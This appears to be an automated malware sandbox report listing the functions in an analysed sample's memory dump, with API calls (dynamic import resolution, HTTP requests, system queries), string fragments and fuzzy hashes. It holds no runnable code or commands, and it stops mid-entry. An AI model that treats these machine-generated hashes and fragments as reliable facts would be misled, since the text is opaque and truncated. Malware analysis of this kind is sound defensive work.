Instruction ID: 5d38e333f7cc450389efa9d57f4dc66e579ba43b408faa03e9f6c26764748fcb
Opcode Fuzzy Hash: 4a0ff6e1af8bb45fe8565c2e3a93290184a4e6ac5f666eaa6f624305e0d10c5b
Instruction Fuzzy Hash: 31215E22A1CB4281E620EB66F84016AE7A5FF8DBD8F851135EA8D83755FF3DD0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0550, Relevance: 6.3, APIs: 4, Instructions: 284libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F0685
GetProcAddress.KERNEL32 ref: 00007FF70D6F07D5
GetProcAddress.KERNEL32 ref: 00007FF70D6F08E4
HttpSendRequestA.WININET ref: 00007FF70D6F0902

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$HttpRequestSend
String ID:
API String ID: 3448467396-0
Opcode ID: cd38bb65d84a11d56ec2eb8e36c1833a4ff078473938fb2d818c77358104a170
Instruction ID: bd3ea67cc744fe212b4c12743378a47a2cbd06870df6ece8f1430856730fec31
Opcode Fuzzy Hash: cd38bb65d84a11d56ec2eb8e36c1833a4ff078473938fb2d818c77358104a170
Instruction Fuzzy Hash: 1BC1D012F187C08DF315D7B8D8043ED6EA6576A38CF484069DE896BF8AEBBD8105C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70875C, Relevance: 4.5, APIs: 3, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D70AC0C: GetLastError.KERNEL32 ref: 00007FF70D70AC1B
Part of subcall function 00007FF70D70AC0C: SetLastError.KERNEL32 ref: 00007FF70D70ACB9

CloseHandle.KERNEL32 ref: 00007FF70D708797
FreeLibraryAndExitThread.KERNEL32 ref: 00007FF70D7087AD

Part of subcall function 00007FF70D70B408: try_get_function.LIBVCRUNTIME ref: 00007FF70D70B426

ExitThread.KERNEL32 ref: 00007FF70D7087B6

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrarytry_get_function
String ID:
API String ID: 1393601959-0
Opcode ID: bf8829d355350e62a489877ed7a46cbd8e11fc6de5fb53fcf62f9db937b0b7e9
Instruction ID: 85f5ee0bbee1f4512ff850751831cb95c1c17f472566c1bdb7d15f874c03f8fd
Opcode Fuzzy Hash: bf8829d355350e62a489877ed7a46cbd8e11fc6de5fb53fcf62f9db937b0b7e9
Instruction Fuzzy Hash: 51F0861560C746C1EA147BA4CC4027CA7659F48B38F982731C73C827D9EF3CD4408321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703320, Relevance: 3.1, APIs: 2, Instructions: 72libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D703403
InternetCloseHandle.WININET ref: 00007FF70D70340C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressCloseHandleInternetProc
String ID:
API String ID: 1912838673-0
Opcode ID: c85fe723dd992ac86c3d1afc282138fd9dc0da350824611c28998f63b7e5ba9d
Instruction ID: 27a04df44be398f91457d3a013daac51647fc1ee6e113267ecbe4ce8251916b6
Opcode Fuzzy Hash: c85fe723dd992ac86c3d1afc282138fd9dc0da350824611c28998f63b7e5ba9d
Instruction Fuzzy Hash: B1317652F087C0CDF3098778D9143AD2FA1536634DF4C4568DF996BB8ADBBD82088765

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F5C80, Relevance: 3.0, APIs: 2, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F5D24
GlobalMemoryStatusEx.KERNEL32 ref: 00007FF70D6F5D2D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressGlobalMemoryProcStatus
String ID:
API String ID: 1541715363-0
Opcode ID: a9e2f30c8f8199f07660e4f6a1add6799ca7b3de57bd4fd6a0da070e7ae5f792
Instruction ID: 59042015c946841d5b9f5687de188bfcf06628be8ac56e2f0c81379ef033b7f6
Opcode Fuzzy Hash: a9e2f30c8f8199f07660e4f6a1add6799ca7b3de57bd4fd6a0da070e7ae5f792
Instruction Fuzzy Hash: 78212F12B0C7C0CCF70297B9D4083AD2FB1571638CF485899DF842BB8ACBAD8249C766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FBB10, Relevance: 3.0, APIs: 2, Instructions: 45libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FBB95
NetWkstaGetInfo.NETAPI32 ref: 00007FF70D6FBBA5

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressInfoProcWksta
String ID:
API String ID: 242764135-0
Opcode ID: 760d8320fc12a627b0ada0c4cdbfece7afdc4d27688bf21897e63b52d63c431d
Instruction ID: b4a908d276393bca415010fd37f751fa7b3f21629f32d4d85d93099c335e58a7
Opcode Fuzzy Hash: 760d8320fc12a627b0ada0c4cdbfece7afdc4d27688bf21897e63b52d63c431d
Instruction Fuzzy Hash: 3511451631E7D48AE7029329D40C36E7FA157AAB88F484059D7C50B387CBADC24AC736

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7086F4, Relevance: 3.0, APIs: 2, Instructions: 31threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF70D708702
ExitThread.KERNEL32 ref: 00007FF70D70870A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: f58d4b7edc786e26ec804587b462974adcdd1d344c3a7a25487e080e22a6bd8f
Instruction ID: b2e14780fe37dc30783465ca8c0a3bb8aa0154c3c4bb301891f6103380791477
Opcode Fuzzy Hash: f58d4b7edc786e26ec804587b462974adcdd1d344c3a7a25487e080e22a6bd8f
Instruction Fuzzy Hash: 5FF09025A0D742C2EF18BBF49C450BDA6A0AF5C714F943534DA49C23D3FF2C95408321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FBFD0, Relevance: 1.6, APIs: 1, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FC0A5

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b84d5d6900cf01024ef666b040392d22283cd7f57e0f0c8b5ebf26df4eabb220
Instruction ID: 810b4f571f8478faec932e54b9132284283d00cf15194f00d95f743a8b6b9458
Opcode Fuzzy Hash: b84d5d6900cf01024ef666b040392d22283cd7f57e0f0c8b5ebf26df4eabb220
Instruction Fuzzy Hash: 2A31235772D2D08AE302873CE81D72E6EE153EAB48F188054D7844BB96CBBDC209CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FBA70, Relevance: 1.5, APIs: 1, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FBAF6

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a5f8dbd70b88d6e60c2c2748d71d0783c3c6e389a21a6ba2f858fd4be23d6e07
Instruction ID: a8f3ec829f6ca37493ce006950fff27dc4f0ee5f8f32c4e1e5607ccc88a9e999
Opcode Fuzzy Hash: a5f8dbd70b88d6e60c2c2748d71d0783c3c6e389a21a6ba2f858fd4be23d6e07
Instruction Fuzzy Hash: 8611304671E7D08AE7028329D54C32D7EA1579AF88F084098D7C90B392DBAE855A873A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF70D6FDFE0, Relevance: 214.3, APIs: 107, Strings: 14, Instructions: 2599memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FE0D3
GetProcAddress.KERNEL32 ref: 00007FF70D6FE21D
GetProcAddress.KERNEL32 ref: 00007FF70D6FE2FC
GetProcAddress.KERNEL32 ref: 00007FF70D6FE3CC
lstrcatW.KERNEL32 ref: 00007FF70D6FE474
lstrlenA.KERNEL32 ref: 00007FF70D6FE47D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE4AE
HeapAlloc.KERNEL32 ref: 00007FF70D6FE4BC
lstrcatW.KERNEL32 ref: 00007FF70D6FE502
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE54C
HeapFree.KERNEL32 ref: 00007FF70D6FE55A
GetProcAddress.KERNEL32 ref: 00007FF70D6FE5F4
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE629
HeapFree.KERNEL32 ref: 00007FF70D6FE637
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE65A
HeapAlloc.KERNEL32 ref: 00007FF70D6FE668
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE686
HeapFree.KERNEL32 ref: 00007FF70D6FE694
GetProcAddress.KERNEL32 ref: 00007FF70D6FE73C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE770
HeapFree.KERNEL32 ref: 00007FF70D6FE77E
GetProcessHeap.KERNEL32 ref: 00007FF70D6FE784
HeapFree.KERNEL32 ref: 00007FF70D6FE792

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

Strings

U, xrefs: 00007FF70D700E63
q, xrefs: 00007FF70D700E33
t, xrefs: 00007FF70D6FE5BE
S, xrefs: 00007FF70D700E2B
~, xrefs: 00007FF70D700E45
', xrefs: 00007FF70D6FE5A0
p, xrefs: 00007FF70D700E68
o, xrefs: 00007FF70D700E4F
\, xrefs: 00007FF70D700E40
{, xrefs: 00007FF70D700E4A
1, xrefs: 00007FF70D6FE5B4
2, xrefs: 00007FF70D6FE58C
3, xrefs: 00007FF70D6FE577
q, xrefs: 00007FF70D700E54

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProcProcess$Free$Alloclstrcat$lstrlen
String ID: '$1$2$3$S$U$\$o$p$q$q$t${$~
API String ID: 1453603087-4035802431
Opcode ID: fb940e84877862e91196e9932a36c5135359fdfeb347068011136e9edf83969f
Instruction ID: bc0db23fa27be706c2b218842f9c4c40203ba5491e842966a1fb45724ea9d59f
Opcode Fuzzy Hash: fb940e84877862e91196e9932a36c5135359fdfeb347068011136e9edf83969f
Instruction Fuzzy Hash: FB63501290C7C18DE7229B39DC183ED6F91AB1678CF484169D69D0FB9AEFBD9204C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FD560, Relevance: 93.1, APIs: 9, Strings: 44, Instructions: 303memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FD600
HeapAlloc.KERNEL32 ref: 00007FF70D6FD611
lstrcatA.KERNEL32 ref: 00007FF70D6FD6D9
lstrcatA.KERNEL32 ref: 00007FF70D6FD6E5
GetProcessHeap.KERNEL32 ref: 00007FF70D6FD715
HeapFree.KERNEL32 ref: 00007FF70D6FD723
GetProcAddress.KERNEL32 ref: 00007FF70D6FD874
GetProcAddress.KERNEL32 ref: 00007FF70D6FD924

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

GetProcAddress.KERNEL32 ref: 00007FF70D6FD9C4

Strings

5, xrefs: 00007FF70D6FD8A6
I, xrefs: 00007FF70D6FD65E
v, xrefs: 00007FF70D6FD806
j, xrefs: 00007FF70D6FD970
$, xrefs: 00007FF70D6FD8AE
p, xrefs: 00007FF70D6FD659
|, xrefs: 00007FF70D6FD833
[, xrefs: 00007FF70D6FD633
t, xrefs: 00007FF70D6FD975
X, xrefs: 00007FF70D6FD7FC
9, xrefs: 00007FF70D6FD654
g, xrefs: 00007FF70D6FD966
r, xrefs: 00007FF70D6FD824
s, xrefs: 00007FF70D6FD81F
f, xrefs: 00007FF70D6FD984
_, xrefs: 00007FF70D6FD645
u, xrefs: 00007FF70D6FD957
G, xrefs: 00007FF70D6FD81A
x, xrefs: 00007FF70D6FD7F7
h, xrefs: 00007FF70D6FD815
w, xrefs: 00007FF70D6FD95C
9, xrefs: 00007FF70D6FD64A
[, xrefs: 00007FF70D6FD663
8, xrefs: 00007FF70D6FD8B8
T, xrefs: 00007FF70D6FD947
i, xrefs: 00007FF70D6FD82E
K, xrefs: 00007FF70D6FD668
i, xrefs: 00007FF70D6FD7EF
j, xrefs: 00007FF70D6FD63B
e, xrefs: 00007FF70D6FD810
i, xrefs: 00007FF70D6FD80B
o, xrefs: 00007FF70D6FD961
", xrefs: 00007FF70D6FD8BD
V, xrefs: 00007FF70D6FD96B
U, xrefs: 00007FF70D6FD640
c, xrefs: 00007FF70D6FD97F
K, xrefs: 00007FF70D6FD7E7
g, xrefs: 00007FF70D6FD94F
5, xrefs: 00007FF70D6FD8C2
l, xrefs: 00007FF70D6FD801
x, xrefs: 00007FF70D6FD838
x, xrefs: 00007FF70D6FD829
g, xrefs: 00007FF70D6FD97A
1, xrefs: 00007FF70D6FD8C7

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$Processlstrcat$AllocFree
String ID: "$$$1$5$5$8$9$9$G$I$K$K$T$U$V$X$[$[$_$c$e$f$g$g$g$h$i$i$i$j$j$l$o$p$r$s$t$u$v$w$x$x$x$|
API String ID: 3049494144-1412650476
Opcode ID: 64a1c702a1a166ffb7a8efe85b862ce5660a836f58b624fa2b2eb2b5344b0c6d
Instruction ID: 15c74b788c114325313e444490bffb6eaa8aa3e4172e0af08ceb03441e0ae1a2
Opcode Fuzzy Hash: 64a1c702a1a166ffb7a8efe85b862ce5660a836f58b624fa2b2eb2b5344b0c6d
Instruction Fuzzy Hash: 65D1CA1290C7C189E715D739A9043AEBF92EB967C8F544078EAC80B79AEF7DD105CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F2380, Relevance: 91.6, APIs: 8, Strings: 44, Instructions: 600libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F2540
GetProcAddress.KERNEL32 ref: 00007FF70D6F260B
GetProcAddress.KERNEL32 ref: 00007FF70D6F27B8
GetProcAddress.KERNEL32 ref: 00007FF70D6F286B
GetProcAddress.KERNEL32 ref: 00007FF70D6F29E8
GetProcAddress.KERNEL32 ref: 00007FF70D6F2A9B
GetProcAddress.KERNEL32 ref: 00007FF70D6F2CC8
GetProcAddress.KERNEL32 ref: 00007FF70D6F2D77

Strings

1, xrefs: 00007FF70D6F2984
', xrefs: 00007FF70D6F24D6
8, xrefs: 00007FF70D6F25AA
?, xrefs: 00007FF70D6F276D
0, xrefs: 00007FF70D6F2C86
1, xrefs: 00007FF70D6F2754
+, xrefs: 00007FF70D6F25AF
J, xrefs: 00007FF70D6F29B1
3, xrefs: 00007FF70D6F259B
>, xrefs: 00007FF70D6F25BE
', xrefs: 00007FF70D6F2989
], xrefs: 00007FF70D6F25C8
o o o, xrefs: 00007FF70D6F2C95
-, xrefs: 00007FF70D6F24DB
[, xrefs: 00007FF70D6F2742
, xrefs: 00007FF70D6F2768
X, xrefs: 00007FF70D6F274A
o, xrefs: 00007FF70D6F273A
%, xrefs: 00007FF70D6F25C3
6, xrefs: 00007FF70D6F2593
, xrefs: 00007FF70D6F24E5
', xrefs: 00007FF70D6F2759
-, xrefs: 00007FF70D6F275E
?, xrefs: 00007FF70D6F24EA
-, xrefs: 00007FF70D6F2C6D
, xrefs: 00007FF70D6F2998
0, xrefs: 00007FF70D6F2777
0, xrefs: 00007FF70D6F29A7
?, xrefs: 00007FF70D6F2C7C
X, xrefs: 00007FF70D6F24C7
, xrefs: 00007FF70D6F2C77
0, xrefs: 00007FF70D6F24F4
?, xrefs: 00007FF70D6F299D
1, xrefs: 00007FF70D6F24D1
J, xrefs: 00007FF70D6F24FE
:, xrefs: 00007FF70D6F25A5
o o, xrefs: 00007FF70D6F29B6
-, xrefs: 00007FF70D6F298E
o, xrefs: 00007FF70D6F24B7
[, xrefs: 00007FF70D6F24BF
<, xrefs: 00007FF70D6F25B4
J, xrefs: 00007FF70D6F2C90
', xrefs: 00007FF70D6F2C68
J, xrefs: 00007FF70D6F2781

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: $ $ $ $%$'$'$'$'$+$-$-$-$-$0$0$0$0$1$1$1$3$6$8$:$<$>$?$?$?$?$J$J$J$J$X$X$[$[$]$o$o$o o$o o o
API String ID: 190572456-3623592542
Opcode ID: aaab2b966ef40f07cd7b0b22859799f135d8e9cfcb6b77985553ed3478187335
Instruction ID: 31b31021270e6e696695da887e24d3df75ebac554bfe192506bcf82c04fc121b
Opcode Fuzzy Hash: aaab2b966ef40f07cd7b0b22859799f135d8e9cfcb6b77985553ed3478187335
Instruction Fuzzy Hash: A1720D1290C7C0CCF312C67894183DE7F91976778CF484199EBD81BA9BD7AE9248C766

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701180, Relevance: 89.7, APIs: 4, Strings: 47, Instructions: 403libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D70128D
GetProcAddress.KERNEL32 ref: 00007FF70D701354
GetProcAddress.KERNEL32 ref: 00007FF70D701693

Part of subcall function 00007FF70D6F5EC0: GetProcAddress.KERNEL32 ref: 00007FF70D6F5F65

GetProcAddress.KERNEL32 ref: 00007FF70D701765

Strings

x, xrefs: 00007FF70D701724
u, xrefs: 00007FF70D7016F7
#, xrefs: 00007FF70D7012FB
t, xrefs: 00007FF70D7011EA
O, xrefs: 00007FF70D7011E5
{, xrefs: 00007FF70D7011D1
L, xrefs: 00007FF70D7014BD
z, xrefs: 00007FF70D7011C5
o, xrefs: 00007FF70D70120D
y, xrefs: 00007FF70D701706
k, xrefs: 00007FF70D701230
i, xrefs: 00007FF70D70122B
T, xrefs: 00007FF70D7011BD
z, xrefs: 00007FF70D7016E3
}{L, xrefs: 00007FF70D701557
y, xrefs: 00007FF70D70170B
k, xrefs: 00007FF70D701715
s, xrefs: 00007FF70D70171A
<yu, xrefs: 00007FF70D70131C
V, xrefs: 00007FF70D70121C
g, xrefs: 00007FF70D701203
u, xrefs: 00007FF70D7011F4
x, xrefs: 00007FF70D7011DB
y, xrefs: 00007FF70D70123A
]|@, xrefs: 00007FF70D701733
x, xrefs: 00007FF70D7016F2
x, xrefs: 00007FF70D701221
S, xrefs: 00007FF70D701710
|, xrefs: 00007FF70D7014B0
s, xrefs: 00007FF70D7011FE
x, xrefs: 00007FF70D7011F9
>, xrefs: 00007FF70D7012D8
l, xrefs: 00007FF70D7011EF
i, xrefs: 00007FF70D7016FC
u, xrefs: 00007FF70D70171F
k, xrefs: 00007FF70D701701
z, xrefs: 00007FF70D701208
y, xrefs: 00007FF70D701235
{, xrefs: 00007FF70D7014C2
u, xrefs: 00007FF70D701226
V, xrefs: 00007FF70D7016ED
t, xrefs: 00007FF70D701217
k, xrefs: 00007FF70D7011D6
W, xrefs: 00007FF70D7011CC
@, xrefs: 00007FF70D7013B8
u, xrefs: 00007FF70D701212
k, xrefs: 00007FF70D7016E8

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: #$<yu$>$@$L$O$S$T$V$V$W$]|@$g$i$i$k$k$k$k$k$l$o$s$s$t$t$u$u$u$u$u$x$x$x$x$x$y$y$y$y$z$z$z${${$|$}{L
API String ID: 190572456-919952344
Opcode ID: f925ad52c699b5de9ddf4c874f4242cf14a6ce9c2204c412cc62be398734bd3e
Instruction ID: 72b308e850a4c987294129e44182ae9a3b65d0a4feba17538c3e7bd370f235da
Opcode Fuzzy Hash: f925ad52c699b5de9ddf4c874f4242cf14a6ce9c2204c412cc62be398734bd3e
Instruction Fuzzy Hash: 6612D822A0C7C0C9E301D775E8447AEBFA1E756788F481069EBC95BB9ADB7DD044CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701800, Relevance: 89.6, APIs: 4, Strings: 47, Instructions: 395libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D70190D
GetProcAddress.KERNEL32 ref: 00007FF70D7019D4
GetProcAddress.KERNEL32 ref: 00007FF70D701D03

Part of subcall function 00007FF70D6F5EC0: GetProcAddress.KERNEL32 ref: 00007FF70D6F5F65

GetProcAddress.KERNEL32 ref: 00007FF70D701DD5

Strings

o, xrefs: 00007FF70D70188D
i, xrefs: 00007FF70D701D6C
u, xrefs: 00007FF70D701874
u, xrefs: 00007FF70D701D67
u, xrefs: 00007FF70D7018A6
k, xrefs: 00007FF70D701D58
z, xrefs: 00007FF70D701888
W, xrefs: 00007FF70D70184C
s, xrefs: 00007FF70D70187E
y, xrefs: 00007FF70D701D76
x, xrefs: 00007FF70D7018A1
y, xrefs: 00007FF70D7018BA
t, xrefs: 00007FF70D70186A
x, xrefs: 00007FF70D70185B
<yu, xrefs: 00007FF70D70199C
>, xrefs: 00007FF70D701958
z, xrefs: 00007FF70D701D53
k, xrefs: 00007FF70D701D71
|, xrefs: 00007FF70D701B20
u, xrefs: 00007FF70D701892
O, xrefs: 00007FF70D701865
T, xrefs: 00007FF70D70183D
y, xrefs: 00007FF70D7018B5
V, xrefs: 00007FF70D70189C
k, xrefs: 00007FF70D701856
]|@, xrefs: 00007FF70D701DA3
L, xrefs: 00007FF70D701B2D
{, xrefs: 00007FF70D701851
{, xrefs: 00007FF70D701B32
i, xrefs: 00007FF70D7018AB
#, xrefs: 00007FF70D70197B
S, xrefs: 00007FF70D701D80
@, xrefs: 00007FF70D701A38
k, xrefs: 00007FF70D7018B0
k, xrefs: 00007FF70D701D85
g, xrefs: 00007FF70D701883
y, xrefs: 00007FF70D701D7B
u, xrefs: 00007FF70D701D8F
t, xrefs: 00007FF70D701897
x, xrefs: 00007FF70D701D62
x, xrefs: 00007FF70D701D94
V, xrefs: 00007FF70D701D5D
z, xrefs: 00007FF70D701845
s, xrefs: 00007FF70D701D8A
x, xrefs: 00007FF70D701879
}{L, xrefs: 00007FF70D701BC7
l, xrefs: 00007FF70D70186F

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: #$<yu$>$@$L$O$S$T$V$V$W$]|@$g$i$i$k$k$k$k$k$l$o$s$s$t$t$u$u$u$u$u$x$x$x$x$x$y$y$y$y$z$z$z${${$|$}{L
API String ID: 190572456-919952344
Opcode ID: 0522f5d0e34377143c5b1c1e79c84f21ade7822915853cdf711f042abe2ca325
Instruction ID: 7a15c1c9e3ceb6b2ec9fcb092393ff7fdfb2c3a4707c683d46ea3c1693871c8b
Opcode Fuzzy Hash: 0522f5d0e34377143c5b1c1e79c84f21ade7822915853cdf711f042abe2ca325
Instruction Fuzzy Hash: F012C822A0C7C089E311D775E8047AEBFA1EB56788F441069EB895BB9ADF7DD044CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FDA40, Relevance: 86.1, APIs: 12, Strings: 37, Instructions: 354memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FDB0F
HeapAlloc.KERNEL32 ref: 00007FF70D6FDB20

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

lstrcatA.KERNEL32 ref: 00007FF70D6FDBDD
lstrcatA.KERNEL32 ref: 00007FF70D6FDBE9
GetProcAddress.KERNEL32 ref: 00007FF70D6FDC76
GetProcessHeap.KERNEL32 ref: 00007FF70D6FDCCE
HeapFree.KERNEL32 ref: 00007FF70D6FDCDC
GetProcessHeap.KERNEL32 ref: 00007FF70D6FDCF0
HeapFree.KERNEL32 ref: 00007FF70D6FDCFE
GetProcAddress.KERNEL32 ref: 00007FF70D6FDE73
GetProcAddress.KERNEL32 ref: 00007FF70D6FDF13
GetProcAddress.KERNEL32 ref: 00007FF70D6FDFB4

Strings

i, xrefs: 00007FF70D6FDC07
G, xrefs: 00007FF70D6FDBF7
w, xrefs: 00007FF70D6FDC39
g, xrefs: 00007FF70D6FDF52
;, xrefs: 00007FF70D6FDB5F
h, xrefs: 00007FF70D6FDB46
v, xrefs: 00007FF70D6FDC20
w, xrefs: 00007FF70D6FDC34
t, xrefs: 00007FF70D6FDF61
B, xrefs: 00007FF70D6FDB50
B, xrefs: 00007FF70D6FDB5A
w, xrefs: 00007FF70D6FDF48
T, xrefs: 00007FF70D6FDF36
|, xrefs: 00007FF70D6FDB64
$, xrefs: 00007FF70D6FDB6E
x, xrefs: 00007FF70D6FDC11
g, xrefs: 00007FF70D6FDF3E
f, xrefs: 00007FF70D6FDF70
u, xrefs: 00007FF70D6FDF43
H, xrefs: 00007FF70D6FDB55
e, xrefs: 00007FF70D6FDC0C
s, xrefs: 00007FF70D6FDC25
^, xrefs: 00007FF70D6FDB69
i, xrefs: 00007FF70D6FDC2F
-, xrefs: 00007FF70D6FDB4B
j, xrefs: 00007FF70D6FDF5C
c, xrefs: 00007FF70D6FDF6B
E, xrefs: 00007FF70D6FDC3E
v, xrefs: 00007FF70D6FDBFF
g, xrefs: 00007FF70D6FDC2A
V, xrefs: 00007FF70D6FDF57
E, xrefs: 00007FF70D6FDB41
i, xrefs: 00007FF70D6FDC16
T, xrefs: 00007FF70D6FDC1B
g, xrefs: 00007FF70D6FDF66
o, xrefs: 00007FF70D6FDF4D
^, xrefs: 00007FF70D6FDB39

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProc$Process$Freelstrcat$Alloc
String ID: $$-$;$B$B$E$E$G$H$T$T$V$^$^$c$e$f$g$g$g$g$h$i$i$i$j$o$s$t$u$v$v$w$w$w$x$|
API String ID: 313024814-812946735
Opcode ID: 56a14dd0b3bb9fccffb930d2c5d410359979fec8bb90817b279dd540673067bd
Instruction ID: 956347bbd68948c2f26472a032f5119895a29556f83f16baa4ecdc27bdf46de7
Opcode Fuzzy Hash: 56a14dd0b3bb9fccffb930d2c5d410359979fec8bb90817b279dd540673067bd
Instruction Fuzzy Hash: A602D812E0C7C189F711D779E8043AEAFA1AB56788F444169EB891BB9ADF7DD104CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7D30, Relevance: 84.4, APIs: 21, Strings: 27, Instructions: 373memorystringlibraryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E7DFC
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E05
HeapAlloc.KERNEL32 ref: 00007FF70D6E7E14
lstrcpyA.KERNEL32 ref: 00007FF70D6E7E2A
lstrlenA.KERNEL32 ref: 00007FF70D6E7E36
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E76
HeapFree.KERNEL32 ref: 00007FF70D6E7E84

Part of subcall function 00007FF70D6E3320: GetProcAddress.KERNEL32 ref: 00007FF70D6E33A5

GetProcessHeap.KERNEL32 ref: 00007FF70D6E7F47
HeapFree.KERNEL32 ref: 00007FF70D6E7F55
lstrlenA.KERNEL32 ref: 00007FF70D6E7F70
GetProcAddress.KERNEL32 ref: 00007FF70D6E7FE3
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8028
HeapFree.KERNEL32 ref: 00007FF70D6E8037

Strings

1, xrefs: 00007FF70D6E808E
9, xrefs: 00007FF70D6E8089
3, xrefs: 00007FF70D6E8084
I, xrefs: 00007FF70D6E80B1
7, xrefs: 00007FF70D6E8106
T, xrefs: 00007FF70D6E8101
A, xrefs: 00007FF70D6E7D7F
O, xrefs: 00007FF70D6E7EA3
C, xrefs: 00007FF70D6E80AC
, xrefs: 00007FF70D6E8070
q, xrefs: 00007FF70D6E8098
+, xrefs: 00007FF70D6E807A
9, xrefs: 00007FF70D6E806B
c, xrefs: 00007FF70D6E7D7A
{, xrefs: 00007FF70D6E7D84
u, xrefs: 00007FF70D6E7D75
Q, xrefs: 00007FF70D6E8129
;, xrefs: 00007FF70D6E812E
, xrefs: 00007FF70D6E80B6
=, xrefs: 00007FF70D6E8075
[, xrefs: 00007FF70D6E8124
2, xrefs: 00007FF70D6E8093
q, xrefs: 00007FF70D6E7D89
x, xrefs: 00007FF70D6E7D70
>, xrefs: 00007FF70D6E80E3
a, xrefs: 00007FF70D6E7D6B
], xrefs: 00007FF70D6E7D66

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

